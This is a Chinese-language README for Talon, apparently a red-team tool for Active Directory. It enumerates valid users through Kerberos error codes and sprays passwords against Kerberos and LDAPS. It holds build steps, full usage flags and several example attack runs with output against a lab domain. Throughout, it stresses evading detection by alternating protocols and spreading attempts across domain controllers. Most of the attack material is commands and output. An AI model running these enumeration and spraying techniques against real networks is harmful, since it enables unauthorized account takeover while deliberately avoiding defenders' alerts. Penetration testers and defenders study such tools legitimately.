如需查看最新版本的 Talon 或提交问题,请参考 https://github.com/Tylous/Talon。
Talon 是一款旨在执行自动化密码猜测攻击且保持不被检测的工具。Talon 能够利用 Kerberos 列举用户列表,识别哪些用户是有效的。Talon 还可以针对 Kerberos 和 LDAPS(LDAP 安全)服务执行密码猜测攻击。Talon 可以使用单个域控制器或多个域控制器来执行这些攻击,每次尝试在域控制器和服务(LDAP 或 Kerberos)之间随机化。
有关此技术的更多信息,请参见以下博客。
从发布页面下载适用于您操作系统的发布版本。
Talon 使用 Golang 开发。
第一步始终是克隆仓库。在编译 Talon 之前,您需要安装依赖项。安装依赖项,请运行以下命令:
go get github.com/fatih/color
go get gopkg.in/jcmturner/gokrb5.v7/client
go get gopkg.in/jcmturner/gokrb5.v7/config
go get gopkg.in/jcmturner/gokrb5.v7/iana/etypeID
go get gopkg.in/ldap.v2
然后构建它
go build Talon.go
$ ./Talon -h
Usage of ./Talon:
-A float
Authentication attempts per lockout period (default 3)
-D string
Fully qualified domain to use
-E Enumerates which users are valid
-H string
Domain controller to connect to
-Hostfile string
File containing the list of domain controllers to connect to
-K Test against Kerberos only
-L Test against LDAP only
-Lockout float
Account lockout period in minutes (default 60)
-O string
File to append the results to
-P string
Password to use
-Passfile string
File containing the list of passwords
-U string
Username to authenticate as
-Userfile string
File containing the list of usernames
-debug
Print debug statements
-sleep float
Time inbetween attempts (default 0.5)
用户枚举模式可以通过 -E 标志执行,该标志仅向目标 KDC 发送 Kerberos TGT 预认证请求,但该请求使用已知无效或不再支持的加密类型发送。Talon 检查 KDC 的响应,以判断其是否返回 KDC_ERR_ETYPE_NOSUPP(表示用户存在)或 KDC_ERR_C_PRINCIPAL_UNKNOWN(表示用户不存在)。Talon 可以使用 -Hostfile 命令指定多个域控制器,或使用 -H 指定单个域控制器,在企业中跨多个域控制器执行此类枚举。使用此技术不会导致任何登录失败,因此不会锁定任何用户。
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile Users -sleep 1 -E
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.195 STARLABS.LOCAL\asmith: = 用户不存在
[+] 172.16.144.185 STARLABS.LOCAL\ballen: = 用户存在
[-] 172.16.144.186 STARLABS.LOCAL\bjohnson: = 用户不存在
[-] 172.16.144.195 STARLABS.LOCAL\bwayne: = 用户不存在
[+] 172.16.144.195 STARLABS.LOCAL\csnow: = 用户存在
[-] 172.16.144.186 STARLABS.LOCAL\jtodd: = 用户不存在
[+] 172.16.144.186 STARLABS.LOCAL\hwells: = 用户存在
[-] 172.16.144.186 STARLABS.LOCAL\wwest: = 用户账户已锁定
Talon 利用集成到 Active Directory 中的 Kerberos 和 LDAP 进行身份验证。Talon 可以通过在这两个服务间切换来执行密码猜测,从而将密码攻击流量分散到两个协议上。这样减少了潜在的事件数量,从而降低了触发警报的概率。Talon 更进一步,通过使用 -Hostfile 将密码攻击分布到企业中的多个域控制器上,每次在 LDAP 和 Kerberos 之间交替,增加了额外的隐蔽层。如果需要,可以使用 -H 命令指定单个域控制器。
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile ValidUsers -P "Not3vil" -sleep 1
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\admin:Not3vil = 失败
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Not3vil = 失败
[-] 172.16.144.195 STARLABS.LOCAL\cramon:Not3vil = 失败
[+] 172.16.144.185 STARLABS.LOCAL\hwells:Not3vil = 成功
[-] 172.16.144.195 STARLABS.LOCAL\ssmith:Not3vil = 失败
Talon 设计为在任何情况下都具有灵活性,因此如果只有 Kerberos 可用,Talon 可以设置为仅攻击 Kerberos(使用 -K 标志)或仅攻击 LDAP(使用 -L 标志)。
Talon 可以使用 Kerberos 和 LDAP 来读取响应,同时执行密码猜测攻击。Talon 可以通过读取每次密码尝试的响应代码,在活跃的密码猜测攻击期间检测账户锁定。这有助于防止在企业中发生意外的账户锁定,帮助您保持隐蔽。只需按照提示退出或继续攻击即可。
root@kali:~# ./Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\ballen:Password! = 失败
[-] 172.16.144.185 STARLABS.LOCAL\csnow:Password! = 失败
[-] 172.16.144.186 STARLABS.LOCAL\wwest:Password! = 用户账户已锁定
[*] 检测到账户锁定 - 是否要继续。[y/n]:
Talon 具有检测目标域控制器是否在线或变为不可用的功能。这有助于确保您获得准确的结果,同时不浪费时间。
root@kali:~# ./Talon -H 172.14.15.1 -Userfile ValidUsers -D STARLABS.local -P "Frosty20" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[Root cause: Networking_Error] Networking_Error: AS Exchange Error: failed sending AS_REQ to KDC: failed to communicate with KDC 172.14.15.1
[*] 是否要继续。[y/n]:
Talon 能够针对文件中的一系列可能密码执行密码猜测(使用 -Passfile)。由于这可能非常危险,Talon 内置了控制机制,在达到一定尝试次数(-A)后暂停指定时间(-Lockout)。请注意,在使用这些选项之前了解密码策略非常重要,因为如果不知道密码策略,排队多个密码尝试可能会导致账户锁定。
./Talon -H 172.16.144.185 -Userfile users -Passfile Passwords -D STARLABS.local -Lockout 45 -A 2 -sleep 1.5
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[*] 警告:选择的选项将喷洒多个密码,存在锁定账户的风险。是否要继续?[y/n]: y
03-10-2022 15:58:21: 正在使用密码:Password123
[-] 172.16.144.185 STARLABS.LOCAL\admin:Password123 = 失败
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Password123 = 失败
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Password123 = 失败
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Password123 = 失败
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Password123 = 失败
03-10-2022 15:58:26: 正在使用密码:Spring2022
[-] 172.16.144.185 STARLABS.LOCAL\admin:Spring2022 = 失败
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Spring2022 = 失败
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Spring2022 = 失败
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Spring2022 = 失败
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Spring2022 = 失败
达到超时时间 - 睡眠 45 分钟...
将在 03-10-2022 16:43:35 继续